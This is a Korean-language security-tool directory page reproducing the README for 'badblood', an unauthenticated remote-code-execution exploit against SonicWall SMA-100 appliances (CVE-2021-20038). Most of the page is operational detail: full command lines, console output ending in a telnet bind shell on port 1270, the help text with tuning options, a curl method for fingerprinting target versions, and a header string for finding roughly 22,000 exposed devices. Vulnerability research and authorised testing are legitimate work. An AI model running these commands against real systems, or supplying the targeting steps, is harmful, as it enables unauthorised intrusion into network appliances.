Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
badblood — SonicWall SMA-100 무인증 RCE 익스플로잇 (CVE-2021-20038) | Kitploit
도구/GitHubGitHub/jbaines-r7/badblood
ExploitationWeb Application ExploitationPenetration TestingRemote Access ToolBinary Exploitation
GitHubjbaines-r7/badblood

badblood

SonicWall SMA-100 무인증 RCE 익스플로잇 (CVE-2021-20038)

저장소 보기
9522104년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Bad Blood

Bad Blood는 CVE-2021-20038에 대한 익스플로잇으로, 펌웨어 버전 10.2.1.x를 사용하는 SMA-100 시리즈 시스템의 httpd 바이너리에서 발생하는 스택 기반 버퍼 오버플로우입니다. 기술적 세부 사항은 여기에 많이 작성했습니다:

  • AttackerKB CVE-2021-20038

작성된 익스플로잇은 포트 1270에서 텔넷 바인드 셸을 엽니다. 셸에 연결하는 공격자는 nobody 권한으로 실행을 달성합니다.

예제 출력```

albinolobster@ubuntu:/badblood$ date Mon Jan 10 01:15:12 PM PST 2022 albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User did not provide an address. We'll guess it. [+] Generated 2047 base addresses [+] Generated 1046017 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 235533 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 70% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$ uname -a Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux bash-4.2$

## 지원 버전

| 버전 | 지원 | 테스트됨 | 테스트 대상 |
| - | - | - | - |
| 10.2.1.2-24sv | 예 | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.1-19sv | 예 | :heavy_check_mark: | SMA 500v ESX |
| 10.2.1.0-17sv | 예 | :heavy_check_mark: | SMA 500v ESX |

## 사용법

최소한 다음 항목을 제공해야 합니다:

* rhost: 원격 호스트의 IP 주소
* lhost: 로컬 호스트의 IP 주소
* version: 대상의 버전.

추가 컨텍스트는 안정성 참고 사항을 읽어 주세요.

당연한 질문은 대상의 버전을 어떻게 얻는가입니다. 대상에 대한 간단한 `curl` 요청을 통해 `css` 및 `js` 버전 관리에 버전 번호를 사용한다는 사실을 알 수 있습니다.```
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>

CVE-2021-20039용 Metasploit 모듈은 이를 파싱하지만, 이 익스플로잇에서는 그렇게 하지 않기로 했다. 이러한 항목을 환경에서 스캔하는 경우, "Server: SonicWall SSL-VPN Web Server"가 가장 신뢰할 수 있다고 생각한다. 2022년 1월 기준 약 22,000개.

도움말 출력```

albinolobster@ubuntu:~/badblood$ python3 badblood.py --help

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR] [--top-addr TOP_ADDR]

SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)

optional arguments: -h, --help show this help message and exit --supported-versions The list of supported SMA-100 versions --workers WORKERS The number of workers to spew the exploit --nocrash Stops the exploit from sending a series of crash payload to start --enable-stderr Enable stderr for debugging --addr ADDR Test only. If you know the crash address, go wild. --top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.

required arguments: --rhost RHOST The IPv4 address to connect to --rport RPORT The port to connect to --lhost LHOST The address to connect back to --rversion RVERSION The version of the remote target --rhostname RHOSTNAME The hostname of the remote target target

### --addr vs. --top-addr vs. 옵션 없음

세 가지 주요 작동 모드가 있습니다. 첫 번째는 예상되는 모드(주소 추측)입니다. 나머지 두 가지는 주로 테스트 목적입니다.

#### 주소를 전혀 모릅니다!

이것이 기본 상태이며 문제없습니다! 우리는 그냥 많이 추측할 것입니다.

#### 스택의 최상단 주소를 알고 있습니다!

좋습니다! maps를 cat하거나 다른 마법을 부릴 수 있다면:```
bfa29000-bfa4a000 rw-p 00000000 00:00 0          [stack]

--top_addr 매개변수를 사용하면 공격 시간을 몇 초로 단축할 수 있습니다!``` albinolobster@ubuntu:/badblood$ date Mon Jan 10 05:42:19 PM PST 2022 albinolobster@ubuntu:/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120

▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌ ▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌ ░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓ ░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒ ▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░

[+] Spinning up HTTP server [+] User provided the top stack address: bfa4a000 [+] Generated 511 total addresses to search [+] Filtering addresses for double visits (thanks awesome payload!) [+] Filtered down to 243 total addresses to search [+] Crashing all forks to reset stack to a semi-predicatable state [+] Crashing complete. Good job. Let's go do work. [+] Disabling stderr [+] Spawning 4 workers [+] Attempting to exploit the remote server. This might take quite some time. :eek: [%] Addresses Tested: 33% [] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 17:42:34 [] Now we got bad blood. Hey! 🦞 albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270 Trying 10.0.0.7... Connected to 10.0.0.7. Escape character is '^]'.

bash-4.2$ whoami nobody bash-4.2$

#### $ebp+8의 정확한 주소를 알고 있습니다

좋습니다. --addr을 사용하세요.```
albinolobster@ubuntu:~/badblood$ date
Mon Jan 10 05:48:58 PM PST 2022
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --addr 3215229520
도구 다운로드